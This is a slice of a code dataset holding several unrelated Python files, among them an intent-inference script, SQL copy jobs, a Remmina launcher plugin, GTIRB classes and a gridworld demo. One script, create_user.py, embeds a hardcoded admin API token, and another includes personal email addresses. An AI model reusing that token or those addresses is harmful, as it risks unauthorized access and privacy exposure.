0\n # Strips the newline character\n\n with concurrent.futures.ThreadPoolExecutor(max_workers= 5) as executor:\n for line in Lines:\n count += 1\n print(f\"=====>Searching for {line.strip()} \")\n message = f\"Searching vocabulary <<{line.strip()}>>\"\n helper.log_message(message)\n executor.submit(check_search,line.strip(),readingpost_id)\n end = time.time()\n\n message = f\"Search {count} vocabulary in {end-start} \"\n print(\"message: \",message)\n # send_mail('FlashCard: search vocabulary', message, 'thuan20202000@gmail.com',\n # ['thuan20132000@gmail.com'], fail_silently=False)\n except Exception as e:\n func = inspect.currentframe().f_back.f_code\n error = f\"error: {e} at \"+func.co_name + \" - \" + func.co_filename\n helper.log_message(error)\n print(error)\n\n\n\nfile = local_config.PATH_WORK_DIR+\"/readingpost_data/test1.txt\"\nreadingpost_id = 310\nread_vocabulary_to_search(file,readingpost_id)\n","sub_path":"reading/search.py","file_name":"search.py","file_ext":"py","file_size_in_byte":12970,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"263851073","text":"import data\nimport models\nimport soundfile as sf\nimport torch\nimport argparse\nimport time\nimport os\nimport pandas as pd\nimport numpy as np\n\n# Get args\nparser = argparse.ArgumentParser()\nparser.add_argument('--file', type=str, help='Wave file to infer')\nparser.add_argument('--dataset', type=str, help='Wave file to infer')\nparser.add_argument('--model', type=str, help='Wave file to infer')\nargs = parser.parse_args()\nfile_path = args.file\ndataset = args.dataset\nmodel_path = args.model\n\ndevice = torch.device(\"cuda:0\" if torch.cuda.is_available() else \"cpu\")\nconfig = data.read_config(os.path.join(model_path, \"experiment.cfg\"))\n_,_,_=data.get_SLU_datasets(config)\nmodel = models.Model(config).eval()\nmodel.load_state_dict(torch.load(os.path.join(model_path, 'training', 'model_state.pth'), map_location=device)) # load trained model\n\nif file_path:\n signal, _ = sf.read(file_path)\n signal = torch.tensor(signal.astype(np.float64), device=device).float().unsqueeze(0)\n\n start = time.time()\n intent = model.decode_intents(signal)\n end = time.time()\n print(intent)\n print(\"Inference time:\", end - start)\n\n\nif dataset:\n csv_col = ['path', 'speakerId', 'transcription', 'action', 'number', 'object', 'location']\n accuracy = 0\n iter = 0\n frames = dict()\n files = []\n df = pd.read_csv(dataset)\n for row in zip(*[df[col].values.tolist() for col in csv_col]):\n frames[row[0]] = {csv_col[0]: row[0],\n csv_col[1]: row[1],\n csv_col[2]: row[2],\n csv_col[3]: row[3],\n csv_col[4]: row[4],\n csv_col[5]: row[5],\n csv_col[6]: row[6]}\n\n\n file_path = row[0]\n action = row[3]\n number = row[4]\n object = row[5]\n location = row[6]\n intent_true = [action, number, object, location]\n\n if not 'Time' in file_path and not 'Frequency' in file_path and not 'Impulse' in file_path and not 'Gaussian' in file_path:\n signal, _ = sf.read(os.path.join('fp-dataset', file_path))\n signal = torch.tensor(signal.astype(np.float64), device=device).float().unsqueeze(0)\n\n intent = model.decode_intents(signal)\n if intent_true == intent[0]:\n accuracy += 1\n else:\n files.append(file_path) \n\n iter +=1\n \n print(\"Accuracy\", accuracy/iter)\n if files:\n files.sort()\n for fp in files:\n if not 'Time' in fp and not 'Frequency' in fp and not 'Impulse' in fp and not 'Gaussian' in fp:\n print(fp)\n\n","sub_path":"infer.py","file_name":"infer.py","file_ext":"py","file_size_in_byte":2647,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"386256429","text":"import json\nimport logging\n\n\"\"\"\nFunctions for handling API conversion\n\"\"\"\n\ndef attributes(data):\n \"\"\" \n Convert attributes dictiony into API format \n Expecting a defaultdict(dict) of keys \"boolean\", \"date\", \"double\", \"string\"\n Returns a list of dictionaries such as {\"type\": mode, \"name\": name, \"value\": value}\n \"\"\"\n result = [] \n \n for mode in (\"boolean\", \"date\", \"double\", \"string\"):\n fields = data[mode]\n for attribute in fields: \n value = fields[attribute]\n \n if value or value == False:\n build = {\"type\": mode, \"name\": attribute, \"value\": value}\n result.append(build)\n else:\n logging.debug(f\"Empty value mode: {mode}, name: {attribute}\")\n continue\n return result \n\n\ndef entities(data): \n \"\"\" \n Convert entities dictionary into API format \n Expecting a dictionary containing roles and their associated entity \n Returns a list of dictionaries such as {\"role\": role, \"entities\": entity}\n \"\"\"\n result = []\n for role, entity in data.items():\n if entity:\n result.append({\"role\": role, \"entities\": entity})\n return result\n\n","sub_path":"Demo/src/helpers/api.py","file_name":"api.py","file_ext":"py","file_size_in_byte":1209,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"396718915","text":"import pyodbc, re\n\nqry = \"\"\"\nDECLARE @maxID BIGINT = -10 + (SELECT MAX(ActionId) FROM dbo.pr_Actions)\nSELECT ActionID, a.ActionType\n, CONVERT(VARCHAR(50), a.PageRequestTime, 121) PageRequestTime\n, a.MediaVisitId, p.PageName, ws.WebsiteURL \nFROM dbo.pr_Actions a\nINNER JOIN dbo.pr_Pages p ON p.PageID = a.PageID\nINNER JOIN dbo.pr_WebSites ws ON ws.WebsiteID = a.WebSiteID\nWHERE ActionId >= @maxID\n\"\"\"\ninsert = \"\"\"\nINSERT INTO dbo.Funnel\n( ActionID, ActionType, Page, PageRequestTime, MediaVisitID, PageName, WebSiteURL)\nVALUES\n( ? -- ActionID - bigint\n, ? -- ActionType - varchar(20)\n, ? -- Page - varchar(20)\n, ? -- PageRequestTime - datetime2\n, ? -- MediaVisitID - int\n, ? -- PageName - varchar(255)\n, ? -- WebSiteURL - varchar(255)\n)\n\"\"\"\n\nconn = pyodbc.connect(\"DRIVER={ODBC Driver 17 for SQL Server};SERVER=corpresdb2;DATABASE=Tracking;Trusted_Connection=yes;\")\nconn2 = pyodbc.connect(\"DRIVER={ODBC Driver 17 for SQL Server};SERVER=DevSQL01;DATABASE=HackStream;Trusted_Connection=yes;\")\ncursor = conn.cursor()\ncursor2 = conn2.cursor()\n\npageRegex = re.compile(\".*\\\\/cs_[0-9]p_([anqrtbsx]|nt).*\\\\.aspx\")\n\ncursor.execute(qry)\nfor row in cursor:\n #print('row = %r' % (row))\n actionID, actionType, pageRequestTime, mediaVisitId, pageName, webSiteURL = row\n pageType = re.search(pageRegex, pageName)\n page = ''\n if pageType:\n page = (pageType.group(1) + \" page\")\n print (page, actionID, pageRequestTime, pageName)\n print ('insert')\n cursor2.execute(insert, (actionID, page, actionType, pageRequestTime, mediaVisitId, pageName, webSiteURL))\n cursor2.commit()\n\n\n \n \n\n\n\n","sub_path":"python/aws/sql_simple_4.py","file_name":"sql_simple_4.py","file_ext":"py","file_size_in_byte":1613,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"292724245","text":"# -*- coding: utf-8 -*-\n\n\"\"\"Search and start Remmina connections.\"\"\"\n\nimport configparser\nimport os\nimport subprocess\nfrom glob import glob\nfrom re import IGNORECASE, search\nfrom shutil import which\nfrom typing import Tuple\n\nfrom albertv0 import FuncAction, Item, critical\n\n__iid__ = \"PythonInterface/v0.2\"\n__prettyname__ = \"Remmina\"\n__version__ = \"0.2\"\n__trigger__ = \"rem\"\n__author__ = \"Oğuzcan Küçükbayrak\"\n__dependencies__ = [\"remmina\"]\n\nif not which(\"remmina\"):\n raise Exception(\"`remmina` is not in $PATH.\")\n\nMODULE_PATH = os.path.dirname(__file__)\nICON_PATH = MODULE_PATH + \"/icons/remmina.svg\"\nPROTOCOL_ICONS_PATH = MODULE_PATH + \"/icons/remmina-%s-symbolic.svg\"\nCONNECTIONS_PATH = \"%s/.local/share/remmina\" % os.environ[\"HOME\"]\n\n\ndef runRemmina(cf=\"\"):\n args = ([\"remmina\"], [\"remmina\", \"-c\", cf])[len(cf) > 0]\n subprocess.Popen(args)\n\n\ndef getConfigFiles():\n return [f for f in glob(CONNECTIONS_PATH + \"**/*.remmina\", recursive=True)]\n\n\ndef getAsItem(name, group, server, proto, file):\n return Item(\n id=__prettyname__,\n icon=PROTOCOL_ICONS_PATH % (proto.lower()),\n text=(name, \"%s/ %s\" % (group, name))[len(group) > 0],\n subtext=\"%s %s\" % (proto, server),\n actions=[FuncAction(\"Open connection\", lambda cf=file: runRemmina(cf))],\n )\n\n\ndef getConnectionProperties(f: str) -> Tuple[str, str, str, str, str]:\n assert os.path.isfile(f), f\"No such file -> {f}\"\n\n conf = configparser.ConfigParser()\n conf.read(f)\n\n name = conf[\"remmina\"][\"name\"]\n group = conf[\"remmina\"][\"group\"]\n server = conf[\"remmina\"][\"server\"]\n proto = conf[\"remmina\"][\"protocol\"]\n\n return name, group, server, proto, f\n\n\ndef handleQuery(query):\n if query.isTriggered:\n files = getConfigFiles()\n all_connections = [getConnectionProperties(f) for f in files]\n stripped = query.string.strip()\n results = []\n if stripped: # specific query by the user\n for p in all_connections:\n # search in names and groups\n if search(stripped, p[0], IGNORECASE) or search(stripped, p[1], IGNORECASE):\n results.append(getAsItem(*p))\n\n else: # nothing specified yet, show all possible connections\n for p in all_connections:\n results.append(getAsItem(*p))\n\n results.append(\n Item(\n id=__prettyname__,\n icon=ICON_PATH,\n text=__prettyname__,\n subtext=__doc__,\n actions=[FuncAction(\"Open Remmina\", runRemmina)],\n )\n )\n\n return results\n","sub_path":"plugins/remmina/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":2619,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"371015182","text":"import django_filters\n\nfrom waldur_core.core import filters as core_filters\n\nfrom . import models\n\n\nclass CampaignFilter(django_filters.FilterSet):\n class Meta:\n model = models.Campaign\n fields = []\n\n offering = core_filters.URLFilter(\n view_name='marketplace-provider-offering-detail',\n field_name='offering__uuid',\n label='Offering',\n )\n offering_uuid = django_filters.UUIDFilter(field_name='offering__uuid')\n service_provider_uuid = django_filters.UUIDFilter(\n field_name='service_provider__uuid'\n )\n\n o = django_filters.OrderingFilter(\n fields=(\n 'start_date',\n 'end_date',\n )\n )\n","sub_path":"src/waldur_mastermind/promotions/filters.py","file_name":"filters.py","file_ext":"py","file_size_in_byte":686,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"335926887","text":"# coding:utf-8\n\n\nimport sys\n\n\nclass CommonDataFunc:\n\n def __init__(self):\n pass\n\n @staticmethod\n def get_host_info(case_info_list):\n return case_info_list[0]\n\n @staticmethod\n # 获取HTTP接口URI,不带GET参数\n def get_interface(case_info_list):\n return case_info_list[1]\n\n @staticmethod\n def get_para_num(case_info_list):\n return case_info_list[2]\n\n @staticmethod\n def get_method_info(case_info_list):\n return case_info_list[3]\n\n @staticmethod\n def get_header_info(case_info_list):\n return case_info_list[4]\n\n @staticmethod\n # 获取case title信息\n def get_case_title(case_info_list):\n return case_info_list[5]\n\n @staticmethod\n # 获取case基本信息\n def get_case_info(excel_opt, sheet_name):\n case_info_list = []\n host = excel_opt.read_data(sheet_name, excel_opt.host_index, 1)\n uri = excel_opt.read_data(sheet_name, excel_opt.if_index, 1)\n para_count = int(excel_opt.read_data(sheet_name, excel_opt.para_count_begin, 1))\n method = excel_opt.read_data(sheet_name, excel_opt.method_index, 1)\n header = excel_opt.read_data(sheet_name, excel_opt.header_index, 1)\n\n para_name_list = []\n for i in range(0, para_count):\n para_name_list.append(excel_opt.read_data(sheet_name, excel_opt.title_index, excel_opt.para_begin+i))\n\n case_info_list.append(host)\n case_info_list.append(uri)\n case_info_list.append(para_count)\n case_info_list.append(method)\n case_info_list.append(header)\n case_info_list.append(para_name_list)\n return case_info_list\n\n @staticmethod\n def get_para_info(excel_opt, sheet_name, case_id, case_info_list):\n params = {}\n case_title = CommonDataFunc.get_case_title(case_info_list)\n for j in range(0, len(case_title)):\n para_value = str(excel_opt.read_data(sheet_name, excel_opt.case_begin+case_id, excel_opt.para_begin+j))\n if para_value != 'None':\n # 在excel中加‘date:’将日期格式转换成str,方便xlrd读取日期格式处理,下面的判断是抽取出str类型的日期数据\n if 'str:' not in para_value:\n params[case_title[j]] = para_value\n else:\n params[case_title[j]] = para_value.split(':')[-1]\n return params\n\n '''\n httplib 使用下面两个方法组织GET请求和POST请求\n @staticmethod\n # 获取HTTP接口URI ,带上GET访问参数\n def get_uri_para(excel_opt, sheet_name, case_id, case_info_list):\n para = ''\n case_title = CommonDataFunc.get_case_title(case_info_list)\n # url args combination\n for j in range(0, len(case_title)):\n para_value = str(excel_opt.read_data(sheet_name, excel_opt.case_begin+case_id, excel_opt.para_begin+j))\n if para_value != 'None':\n # 在excel中加‘date:’将日期格式转换成str,方便xlrd读取日期格式处理,下面的判断是抽取出str类型的日期数据\n if 'str:' not in para_value:\n para = para + case_title[j] + \"=\" + para_value + '&'\n else:\n para = para + case_title[j] + \"=\" + para_value.split(':')[-1] + '&'\n\n # 去除结尾&字符\n if para[-1:] == '&':\n para = para[0:-1]\n return CommonDataFunc.get_interface(case_info_list) + para\n\n @staticmethod\n # 获取HTTP POST请求的BODY,根据excel中参数的值组合而成\n def get_post_body(excel_opt, sheet_name, case_id, case_info_list):\n body = ''\n case_title = CommonDataFunc.get_case_title(case_info_list)\n for j in range(0, len(case_title)):\n body_value = excel_opt.read_data(sheet_name, excel_opt.case_begin+case_id, excel_opt.para_begin+j)\n if body_value != 'None':\n # 在excel中加‘str:’将日期格式,整数标记成str,方便xlrd读取处理,下面的判断是抽取出str类型的日期或者整数数据\n if 'str:' not in body_value:\n body = body + case_title[j] + \"=\" + body_value + '&'\n else:\n body = body + case_title[j] + \"=\" + body_value.split(':')[-1] + '&'\n\n # 去除结尾&字符\n if body[-1:] == '&':\n body = body[0:-1]\n return body\n '''\n\n @staticmethod\n # 获取指定case的期望结果\n def get_except_result(excel_opt, sheet_name, case_id, para_num):\n value = excel_opt.read_data(sheet_name, excel_opt.case_begin+case_id, excel_opt.para_begin+para_num)\n return value\n\n\n @staticmethod\n # 获取异常函数及行号\n def error_info():\n try:\n raise Exception\n except:\n f = sys.exc_info()[2].tb_frame.f_back\n print (f.f_code_.co_name, f.f_lineno)\n\n\n\n\n\n","sub_path":"common/data_func.py","file_name":"data_func.py","file_ext":"py","file_size_in_byte":4941,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"365549845","text":"import matplotlib.pyplot as plt\nimport numpy as np\nfrom matplotlib.table import Table\n\n\nworld_size = 5\n#\nA_pos = (1, 0)\nA_prime_pos = (1, 4)\nB_pos = (3, 0)\nB_prime_pos = (3, 2)\n\ndiscount = 0.9\n\nACTIONS = ((0, -1), (0, 1), (-1, 0), (1, 0))\nprob = 0.25 \n\n\ndef step(state, action):\n if state == A_pos:\n return A_prime_pos, 10\n if state == B_pos:\n return B_prime_pos, 5\n\n next_state = (state[0]+action[0], state[1]+action[1])\n if next_state[0] < 0 or next_state[0] > world_size -1 or next_state[1] < 0 or next_state[1] > world_size -1:\n next_state = state\n reward = -1\n else:\n reward = 0\n return next_state, reward \n\n\ndef draw_image(image):\n plt.figure()\n ax = plt.gca()\n ax.set_axis_off()\n\n table = Table(ax, bbox=[0,0,1,1]) \n\n width, height = 1.0/world_size, 1.0/world_size\n\n for i in range(world_size):\n for j in range(world_size):\n # image, i is x, j is y\n table.add_cell(j, i, width, height, text=image[i, j], loc='center')\n\n ax.add_table(table)\n\n\ndef figure_3_2():\n values = np.zeros((world_size,world_size))\n while True:\n new_values = np.zeros((world_size, world_size))\n for i in range(world_size):\n for j in range(world_size):\n temp = 0\n for action in ACTIONS:\n next_state, reward = step((i, j), action)\n temp = temp + prob*(reward + discount * values[next_state[0], next_state[1]])\n new_values[i,j] = temp\n if np.sum(np.abs(values-new_values)) < 1e-4:\n draw_image(np.round(values, 1))\n plt.savefig(\"3_2.png\")\n plt.close()\n break\n values = new_values\n\n\ndef figure_3_5():\n values = np.zeros((world_size, world_size))\n while True:\n new_values = np.zeros((world_size, world_size))\n for i in range(world_size):\n for j in range(world_size):\n max = 0\n for action in ACTIONS:\n next_state, reward = step((i, j), action)\n temp = (reward + discount * values[next_state[0], next_state[1]])\n if max < temp:\n max = temp\n new_values[i, j] = max\n if np.sum(np.abs(values - new_values)) < 1e-4:\n draw_image(np.round(values, 1))\n plt.savefig(\"3_5.png\")\n plt.close()\n break\n values = new_values\n\n\nif __name__ == \"__main__\":\n figure_3_2()\n figure_3_5()\n","sub_path":"rl/3_chapter/gridworld.py","file_name":"gridworld.py","file_ext":"py","file_size_in_byte":2259,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"616132237","text":"import Block_pb2\nimport ProxyBlock_pb2\n\nfrom .node import Node\n\n\nclass Block(Node):\n \"\"\"Basic block\n\n Attributes:\n address: the starting address of the basic block\n size: the length of the basic block\n decode_mode: the decode mode of the block\n uuid: UUID of this Node\n\n \"\"\"\n\n def __init__(self, address, size, *, decode_mode=0, uuid=None):\n super().__init__(uuid)\n self.address = address\n self.size = size\n self.decode_mode = decode_mode\n\n @classmethod\n def _decode_protobuf(cls, proto_block, uuid):\n return cls(\n address=proto_block.address,\n decode_mode=proto_block.decode_mode,\n size=proto_block.size,\n uuid=uuid,\n )\n\n def _to_protobuf(self):\n proto_block = Block_pb2.Block()\n proto_block.uuid = self.uuid.bytes\n proto_block.address = self.address\n proto_block.size = self.size\n proto_block.decode_mode = self.decode_mode\n return proto_block\n\n def deep_eq(self, other):\n # Do not move __eq__. See docstring for Node.deep_eq for more info.\n if not isinstance(other, Block):\n return False\n return (\n self.uuid == other.uuid\n and self.address == other.address\n and self.size == other.size\n and self.decode_mode == other.decode_mode\n )\n\n def __repr__(self):\n return (\n \"Block(\"\n \"uuid={uuid!r}, \"\n \"address={address:#x}, \"\n \"size={size}, \"\n \"decode_mode={decode_mode}, \"\n \")\".format(**self.__dict__)\n )\n\n\nclass ProxyBlock(Node):\n \"\"\"A placeholder to serve as the endpoint of a CFG edge.\n\n A ProxyBlock exists in the CFG so that edges to or from another\n node may be constructed. For example, a call to a function in\n another module may be represented by an edge that originates at\n the calling block and targets a proxy. Another example would be an\n edge to represent an indirect jump whose target is not known.\n\n ProxyBlocks do not represent any instructions and so have neither\n an address nor a size.\n\n Attributes:\n uuid: the UUID of this Node\n\n \"\"\"\n\n @classmethod\n def _decode_protobuf(cls, proto_proxy, uuid):\n return cls(uuid)\n\n def _to_protobuf(self):\n proto_proxyblock = ProxyBlock_pb2.ProxyBlock()\n proto_proxyblock.uuid = self.uuid.bytes\n return proto_proxyblock\n\n def deep_eq(self, other):\n # Do not move __eq__. See docstring for Node.deep_eq for more info.\n if not isinstance(other, ProxyBlock):\n return False\n return self.uuid == other.uuid\n\n def __repr__(self):\n return \"ProxyBlock(\" \"uuid={uuid!r}, \" \")\".format(**self.__dict__)\n","sub_path":"python/gtirb/block.py","file_name":"block.py","file_ext":"py","file_size_in_byte":2810,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"45869277","text":"#!/usr/bin/python3\n\n# Copyright 2019 Adobe. All rights reserved.\n# This file is licensed to you under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License. You may obtain a copy\n# of the License at http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software distributed under\n# the License is distributed on an \"AS IS\" BASIS, WITHOUT WARRANTIES OR REPRESENTATIONS\n# OF ANY KIND, either express or implied. See the License for the specific language\n# governing permissions and limitations under the License.\n\n\"\"\"\nThis script queries Infoblox for the 'txt' information of the zones in the zone collection.\n\nThis script is only useful to Infoblox customers.\n\"\"\"\n\nimport logging\nfrom datetime import datetime\n\nfrom libs3 import InfobloxDNSManager, JobsManager, MongoConnector\nfrom libs3.LoggingUtil import LoggingUtil\n\n\ndef main(logger=None):\n \"\"\"\n Begin Main...\n \"\"\"\n if logger is None:\n logger = LoggingUtil.create_log(__name__)\n\n print(\"Starting: \" + str(datetime.now()))\n logger.info(\"Starting...\")\n\n # Make database connections\n mc = MongoConnector.MongoConnector()\n jobs_manager = JobsManager.JobsManager(mc, \"get_iblox_txt\")\n jobs_manager.record_job_start()\n\n idm = InfobloxDNSManager.InfobloxDNSManager(\"txt\")\n idm.get_infoblox_dns()\n\n # Record status\n jobs_manager.record_job_complete()\n\n print(\"Ending: \" + str(datetime.now()))\n logger.info(\"Complete.\")\n\n\nif __name__ == \"__main__\":\n logger = LoggingUtil.create_log(__name__)\n\n try:\n main(logger)\n except Exception as e:\n logger.error(\"FATAL: \" + str(e), exc_info=True)\n exit(1)\n","sub_path":"python3_cron_scripts/get_iblox_txt.py","file_name":"get_iblox_txt.py","file_ext":"py","file_size_in_byte":1737,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"490278396","text":"# -*- coding: utf-8 -*-\n\nimport logging\nfrom datetime import datetime\nfrom DateTime.DateTime import DateTime\n\nfrom zope import schema\nfrom zope.interface import implements, alsoProvides\nfrom zope.annotation.interfaces import IAnnotations\nfrom plone import api\nfrom plone.directives import form\nfrom Acquisition import aq_parent\n\nfrom comissions.cic import _\nfrom comissions.cic.utils import (\n get_settings_property, get_mailer,\n get_human_message_from_client_exception_code)\nfrom comissions.cic.content.organgovern import IOrgangovern\nfrom comissions.cic.ewsclient import ClientException\n\nlogger = logging.getLogger(__name__)\n\n\nclass INotify(form.Schema):\n should_notify = schema.Bool(\n title=_(u'Notify users?'),\n description=_(u'Notify change to users'),\n required=False,\n default=False\n )\n\nalsoProvides(INotify, form.IFormFieldProvider)\n\n\nclass Notify(object):\n implements(INotify)\n\n ANNOTATIONS_KEY = 'comissions.cic.notification'\n\n def __init__(self, context):\n self.context = context\n\n @property\n def should_notify(self):\n return getattr(self.context, 'should_notify', False)\n\n @should_notify.setter\n def should_notify(self, value):\n self.context.should_notify = value\n\n @property\n def organgovern(self):\n parent = aq_parent(self.context)\n return parent if IOrgangovern.providedBy(parent) else None\n\n @property\n def recipient(self):\n return (\n [adreca.strip()\n for adreca in self.organgovern.adrecaLlista.split(',')\n if adreca.strip()]\n if self.organgovern and self.organgovern.adrecaLlista else [])\n\n def notify(self, just_created=False):\n if not self.recipient:\n raise NotifyError(\"Recipient is not specified\")\n try:\n get_mailer().send(\n self.recipient,\n self._compose_subject(just_created),\n self._compose_body(),\n 'HTML')\n self._annotate()\n self.organgovern.plone_utils.addPortalMessage(\n _(u\"Notificació enviada correctament\"), 'info')\n except ClientException as e:\n self.organgovern.plone_utils.addPortalMessage(\n get_human_message_from_client_exception_code(e.code), 'error')\n raise NotifyError(\n \"Notification could not be sent ({0})\".format(e.message))\n\n def _annotate(self):\n annotations = IAnnotations(self.context)\n notifications = annotations.get(Notify.ANNOTATIONS_KEY, [])\n notifications.insert(0, dict(\n date_time=datetime.now(),\n notifier=api.user.get_current().id,\n recipient=self.recipient))\n annotations[Notify.ANNOTATIONS_KEY] = notifications\n\n def _compose_subject(self, just_created=False):\n if just_created:\n custom_text = get_settings_property(\n 'events_notification_created_subject',\n self.context.translate(_(u'A new event has been created')))\n else:\n custom_text = get_settings_property(\n 'events_notification_modified_subject',\n self.context.translate(_(u'An event has been modified')))\n return u\"{custom_text} {organ_title} {date_time}\".format(\n custom_text=custom_text,\n organ_title=self.organgovern.title,\n date_time=self._compose_date_time(self.context.start))\n\n def _compose_body(self):\n return u'{title}
' \\\n u'{organ}
' \\\n u'{date_time_start} - {date_time_end}
' \\\n u'{location}
' \\\n u'{add_to_calendar}'.format(\n title=self.context.title,\n organ=self.organgovern.title,\n date_time_start=self._compose_date_time(self.context.start),\n date_time_end=self._compose_date_time(self.context.end),\n location=(self.context.location.raw\n if self.context.location\n else self.context.translate(_(u'unknown_location'))),\n url=self.context.absolute_url().decode('utf-8'),\n add_to_calendar=self.context.translate(\n _(u'add_to_calendar')))\n\n def _compose_date_time(self, date_time):\n date_time_localized = (\n date_time\n if date_time.tzname() == 'FAKEZONE'\n else DateTime(date_time))\n return date_time_localized.strftime('%d/%m/%Y %H:%M').decode('utf-8')\n\n\nclass NotifyError(Exception):\n pass\n","sub_path":"comissions/cic/behaviors/notify.py","file_name":"notify.py","file_ext":"py","file_size_in_byte":4617,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"591313274","text":"# Licensed under the Apache License, Version 2.0 (the \"License\"); you may\n# not use this file except in compliance with the License. You may obtain\n# a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS, WITHOUT\n# WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the\n# License for the specific language governing permissions and limitations\n# under the License.\n\nfrom osc_lib.command import command\nfrom tackerclient.i18n import _\n\n\nclass RollbackVnfLcmOp(command.Command):\n def get_parser(self, prog_name):\n \"\"\"Add arguments to parser.\n\n Args:\n prog_name ([type]): program name\n\n Returns:\n parser([ArgumentParser]):\n \"\"\"\n parser = super(RollbackVnfLcmOp, self).get_parser(prog_name)\n parser.add_argument(\n 'vnf_lcm_op_occ_id',\n metavar=\"\",\n help=_('VNF lifecycle management operation occurrence ID.'))\n\n return parser\n\n def take_action(self, parsed_args):\n \"\"\"Execute rollback_vnf_instance and output comment.\n\n Args:\n parsed_args ([Namespace]): arguments of CLI.\n \"\"\"\n client = self.app.client_manager.tackerclient\n result = client.rollback_vnf_instance(parsed_args.vnf_lcm_op_occ_id)\n if not result:\n print((_('Rollback request for LCM operation %(id)s has been'\n ' accepted') % {'id': parsed_args.vnf_lcm_op_occ_id}))\n","sub_path":"tackerclient/osc/v1/vnflcm/vnflcm_op_occs.py","file_name":"vnflcm_op_occs.py","file_ext":"py","file_size_in_byte":1645,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"572201273","text":"import requests\nimport json\n\nwhile True:\n first_name = input('first name: ')\n last_name = input('last name: ')\n email = input('email: ')\n\n r = requests.post(\n 'https://sixdk.6river.tech/admin/users?welcome=1',\n data=json.dumps({\n 'first_name': first_name,\n 'last_name': last_name,\n 'email': email\n }),\n headers={\n 'Content-Type': 'application/json',\n '6Dk-Admin-Token': '09dfe030-e97d-4c59-b440-c936d212e0ab'\n })\n print(r.status_code)\n","sub_path":"create_user.py","file_name":"create_user.py","file_ext":"py","file_size_in_byte":540,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"471665479","text":"import sys\nimport itertools\nfrom stats import *\nfrom img import *\nimport math\n\ndef offDiag(v, value=0):\n M = np.diag(v)\n for i in range(len(v)):\n for j in range(len(v)):\n if i != j: M[i,j] = value\n return M\n \nclass AKMClass:\n def __init__(self, histImg, numComponents=None, varMax=None, optScale=None, numIterations=50, debugPath=\"\"):\n self.numFeatures = histImg.GetDimension()\n self.histImg = histImg\n self.gmm = GMMClass(self.numFeatures)\n self.numParameters = 1 + self.numFeatures + self.numFeatures**2\n self.numComponents = numComponents\n if self.numComponents is None: self.numComponents = 1\n self.varMax = varMax\n if self.varMax is None: self.varMax = np.array([np.inf]*self.numFeatures) \n self.numIterations = numIterations\n self.verbose = True\n self.debug = False\n if debugPath != \"\":\n self.debug = True\n self.debugPath = debugPath\n \n # Parameter Bounds\n #offDiagValue = 0# \n offDiagValue = np.prod(np.sqrt(varMax)) #1\n muMin = np.array(histImg.GetOrigin())\n varMin = np.array(self.varMax) * 0.1\n #covMin = offDiag(np.zeros(self.numFeatures), -offDiagValue).flatten()\n covMin = offDiag(varMin, -offDiagValue).flatten()\n self.thetaMin = np.concatenate((np.array([0]),muMin, covMin))\n\n muMax = muMin + np.array(histImg.GetSpacing())*np.array(histImg.GetSize())\n covMax = offDiag(self.varMax, offDiagValue)\n self.thetaMax = np.concatenate((np.array([1]), muMax, covMax.flatten()))\n\n\n \"\"\" Find Kernel Size \"\"\"\n maxKernelSize = np.array(self.histImg.GetSize())\n maxKernelSize -= np.mod(maxKernelSize-1,2) # Force max kernel size to be odd\n minKernelSize = 2*np.ones(self.numFeatures)\n if np.any(covMax == np.inf):\n self.kernelSize = maxKernelSize\n else:\n spacing = np.array(self.histImg.GetSpacing())\n self.kernelSize = np.ceil(1.5*np.sqrt(np.diag(covMax))/spacing).astype(int)\n \"\"\"\n print(kernelSize)\n sys.exit()\n \n maxError = 1e-3\n spacing = np.array(self.histImg.GetSpacing())\n\n center = 0.5*maxKernelSize*spacing\n mvgImg = MVGClass(center, covMax).GetImage(maxKernelSize, spacing)\n mvgMask = sitk.BinaryThreshold(mvgImg, maxError, np.inf)\n imgWrite(mvgMask, \"/cis/home/kwame/Projects/akm/dat/mvgMask.img\")\n labelStats = sitk.LabelShapeStatisticsImageFilter()\n labelStats.Execute(mvgMask)\n self.kernelSize = np.array(labelStats.GetBoundingBox(1)[self.numFeatures:])\n \"\"\"\n self.kernelSize += np.mod(self.kernelSize-1,2) # Force kernel to have odd size\n self.kernelSize = np.minimum(np.maximum(self.kernelSize, minKernelSize), maxKernelSize).astype(int)\n #self.kernelSize = np.array([5,5]).astype(int) ###\n \n \n # Optimization Parameters\n if optScale is None:\n self.optScale = np.ones(self.numParameters)\n else:\n self.optScale = optScale\n\n self.epsilonInit = 10 #50\n self.epsilonMin = 1 #1\n if self.verbose:\n print(\"kernelSize = {0}\".format(self.kernelSize))\n \n def CalcHistStats(self):\n hist = sitk.GetArrayFromImage(self.histImg)\n histSpacing = np.array(self.histImg.GetSpacing())[::-1]\n\n # Get coordinates\n coords = GetCoords(self.histImg.GetSize(), self.histImg.GetSpacing())\n\n # Calculate mu\n mu = np.zeros(self.numFeatures)\n for i in range(self.numFeatures): mu[i] = np.sum(coords[i]*hist)*np.prod(histSpacing)\n\n # Calculate covariance\n 